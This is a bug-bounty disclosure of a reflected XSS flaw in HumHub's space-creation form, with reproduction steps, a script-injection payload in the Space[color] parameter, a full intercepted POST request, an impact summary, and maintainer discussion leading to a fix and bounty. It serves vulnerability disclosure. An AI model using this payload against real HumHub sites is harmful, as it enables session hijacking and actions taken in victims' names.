Cross-site Scripting (XSS) in create space function in humhub/humhub

Valid

Reported on

May 5th 2022


Description

Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Proof of Concept

1.Login as normal user.

2.Access subdomain /space/create/create.

3.Input name, color, description,.. -> click "Next".

4.Intercept request using burpsuit -> change Space[color] param to %230000009758')});</script><script>alert(origin);+$(function()+{('

5.Send request and show response in browser -> xss will be triggered.

Image

  • Request
POST /space/create/create HTTP/1.1
Host: dthaa123.humhub.com
Cookie: your.cookie
Content-Length: 262
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
X-Csrf-Token: ndea41dEzc5iBrzMt6zlbVPwXXAZaq01TB0uNRG-fnLa4PmxYgaFkVU-1Krh56gvYrtwGykMml41Th94WOwfFg==
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Humhub-View-Context: modal
X-Requested-With: XMLHttpRequest
Origin: https://dthaa123.humhub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dthaa123.humhub.com/space/create/create
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

_csrf=ndea41dEzc5iBrzMt6zlbVPwXXAZaq01TB0uNRG-fnLa4PmxYgaFkVU-1Krh56gvYrtwGykMml41Th94WOwfFg%3D%3D&Space%5Bcolor%5D=%230000009758')});</script><script>alert(origin);+$(function()+{('&Space%5Bname%5D=&Space%5Bdescription%5D=&Space%5Bvisibility%5D=&Space%5Bvisibility%5D=1&Space%5Bjoin_policy%5D=&Space%5Bjoin_policy%5D=1
  • XSS triggered image

Impact

  • If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

+Perform any action within the application that the user can perform.

+View any information that the user is able to view.

+Modify any information that the user is able to modify.

  • Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user. There are various means by which an attacker might induce a victim user to make a request that they control, to deliver a reflected XSS attack. These include placing links on a website controlled by the attacker, or on another website that allows content to be generated, or by sending a link in an email, tweet or other message
We are processing your report and will contact the humhub team within 24 hours. 23 days ago
dungtuanha modified the report
23 days ago
We have contacted a member of the humhub team and are waiting to hear back 22 days ago
We have sent a follow up to the humhub team. We will try again in 7 days. 19 days ago
humhub/humhub maintainer has acknowledged this report 17 days ago
Lucas Bartholemy modified the Severity from Critical to None 17 days ago
Lucas
17 days ago

@admin Can you help us? This XSS can only be constructed once (not persistently) with tools like Burpsuit.

While we have done a fix here https://github.com/humhub/humhub/commit/adcc7f2f2ab78eec5f6f6d60fb6bbba652333002

But do not see any significant vulnerability here.

How do we proceed here?

Jamie Slome
16 days ago

Admin


Hello Lucas 👋

Thanks for getting in touch. Seeing as you have already marked the report as None severity, feel free to proceed with resolving it as Valid and Fixed.

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Lucas Bartholemy validated this vulnerability 16 days ago
dungtuanha has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Lucas Bartholemy confirmed that a fix has been merged on adcc7f 16 days ago
The fix bounty has been dropped
Lucas
16 days ago

Thanks!

to join this conversation